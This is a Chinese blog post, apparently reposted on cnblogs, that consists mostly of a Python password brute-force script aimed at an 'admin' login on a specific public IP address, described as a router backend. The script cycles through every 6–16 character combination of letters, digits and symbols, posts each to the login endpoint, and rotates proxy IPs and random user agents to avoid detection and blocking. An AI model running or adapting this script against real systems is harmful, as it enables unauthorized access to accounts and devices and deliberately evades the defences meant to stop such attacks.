首页 > 其他分享 >脚本硬解密码

脚本硬解密码

时间:2023-02-25 19:55:20浏览次数:38  
标签:脚本 __ 硬解 ip 密码 time print password

title: 脚本_硬解密码_代理ip
author: 杨晓东
permalink: 脚本
date: 2021-10-02 11:27:04
categories:
- 投篮
tags:
- demo

脚本_硬解密码__代理ip

import requests
import itertools
import time
import random
import fake_useragent # https://www.cnblogs.com/guofan/p/13130477.html
import re
"""
怀疑人生ing....
so 留个纪念
"""
# 访问测试
# url = "http://192.168.1.1/"
# r = requests.get(url)
# print("状态码:",r)
# print("网页内容:",r.text)

# 函数装饰器 计算时间
def time_out(a_func):
    def clocked(*args, **kwargs):
        start = time.time()
        result = a_func(*args, **kwargs)
        end = time.time()
        print("程序:" + a_func.__name__,"    运行时间:" + str(end - start))
        return result
    return clocked

# ip代理
def ip_out():
    url = "http://proxy.httpdaili.com/apinew.asp?sl=3&noinfo=true&text=1&ddbh=1420927609453534893"
    r = requests.get(url)
    print("代理ip状态码:", r.status_code)
    t = r.text
    # 正则匹配ip段and端口号
    ips = re.findall(r'[0-9]+(?:\.[0-9])+.+[0-9]{3}', t)
    # print(ips)
    proxy = {'http': ips[0]}
    print("当前代理ip地址为:",proxy)

    return proxy

# 使用加密后的密码开始登陆路由器后台
def login(user,password):
    ip = ip_out()
    # 实例化 user-agent 对象
    ua = fake_useragent.UserAgent()
    dict_1 = {"User-Agents":ua.random,"isOF": 1, "txtUserName":user,"txtPwd":password}

    # requests.get('http://183.230.147.88:8081/',proxies=ip )# headers={'Content-Type': 'application/json'}
    r = requests.post('http://183.230.147.88:8081/Ajax/UserLogin.ashx',data=dict_1,proxies=ip)

    code = r.text
    if code == "password error":
        print('登陆返回值:', code, "密码错误,继续尝试登陆.......")
        # print(r.text)
    else:
        print('登陆返回值:', code, "密码正确,登陆成功!!!!!!!")
    return code
# 密码字典  生成密码
@time_out
def num_z_Z_symbol(a=5,count=0):
    time_sleep = random.random()
    """
    我认为的所有密码:
    数字 + 小写字母 + 大写字母 + 符号
    :return:
    """
    chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$%^&*?_-."
    with open('./因为ip代理错过的密码.txt','a+',encoding='utf-8') as f:

        for i in range(6, 17):  # 密码长度  从5位数开始  16位数密码结束
            for c in itertools.product(chars, repeat=i):
                count += 1
                password = ''.join(c)
                print('*************** 第 ' + str(count) + ' 组密码 ***************')
                print(password)
                try:
                    if login(user,password) != "password error":
                        print("密码破解成功,程序退出!")
                        break
                    else:
                        pass
                except:
                    f.write(password+r'\n')
                    print(password,'已写入...错过的密码.txt')
                    f.close()
                    continue
                # if count % 50 == 0 :
                #     time.sleep(5)
                #     print("每50次尝试密码后,暂停5秒")


if __name__ == '__main__':
    user = 'admin'
    # 开始硬解
    num_z_Z_symbol()
    # 测试ip代理
    # ip_out()

标签:脚本,__,硬解,ip,密码,time,print,password
From: https://www.cnblogs.com/demo443/p/17155208.html

相关文章

  • 密码常识测试
    个人观点及看法1.很多企业和技术人文都有下面这样的想法∶“由公司或自己开发一种密码算法,并将这种算法保密,这样就能保证安全。"观点及看法:①这个观点是错误的。②现代......
  • python Tkinter + 百度翻译API 制作翻译脚本
    importrequestsimportrandomimportjsonimportwin32com.clientfromhashlibimportmd5importtkinterastkroot=tk.Tk()root.title("英语翻译")root.geomet......
  • 密码常识测试
    1.很多企业和技术人文都有下面这样的想法∶“由公司或自己开发一种密码算法,并将这种算法保密,这样就能保证安全。我的看法:错误分析:使用保密的密码算法是无法获得高安全......
  • Go语言中密码加密校验
    使用go自带的库bcryptbcrypt是不可逆的加密算法,无法通过解密密文得到明文。bcrypt和其他对称或非对称加密方式不同的是,不是直接解密得到明文,也不是二次加密比较密文,而是......
  • grafana忘记密码
    [root@prod-php-s010www]#sqlite3/var/lib/grafana/grafana.dbsqlite>.tablessqlite>select*fromuser;sqlite>updateusersetpassword='59acf18b94d7eb069......
  • shell脚本多重判断案例
    cpu=$1mem=$2if[$cpu==4];thenvcores=4if["$mem"=="15G"];thenmb=12288elif["$mem"=="7.3G"];thenmb=6200fielif[$cpu......
  • shell脚本修改配置文件案例
    [root@bigdata01~/install]#vimchange-yarn-site.sh#!bin/bash#此脚本对大数据集群所有节点的yarn-site.xml文件根据集群配置自动更改对应配置。HOST_LIST=`grep'bi......
  • 密码常识测试
    对以下观点进行评论,分别论述你认为这个观点是正确还是错误的(1分)?为什么(2分)?你的参考资料或判断的信息来源是什么?(2分)很多企业和技术人文都有下面这样的想法∶“由公司或自......
  • 密码常识测试
    对以下观点进行评论,分别论述你认为这个观点是正确还是错误的(1分)?为什么(2分)?你的参考资料或判断的信息来源是什么?(2分)很多企业和技术人文都有下面这样的想法∶“由公司或自......
  • SpringBoot-使用链接字符串动态创建SqlSessionFactory执行任意SQL脚本
    SpringBoot-使用链接字符串动态创建SqlSessionFactory执行任意SQL脚本引言SpringBoot大大减少了使用XML配置的复杂性,但是想通过代码去实例化一个对象有点儿无从下手的感觉。......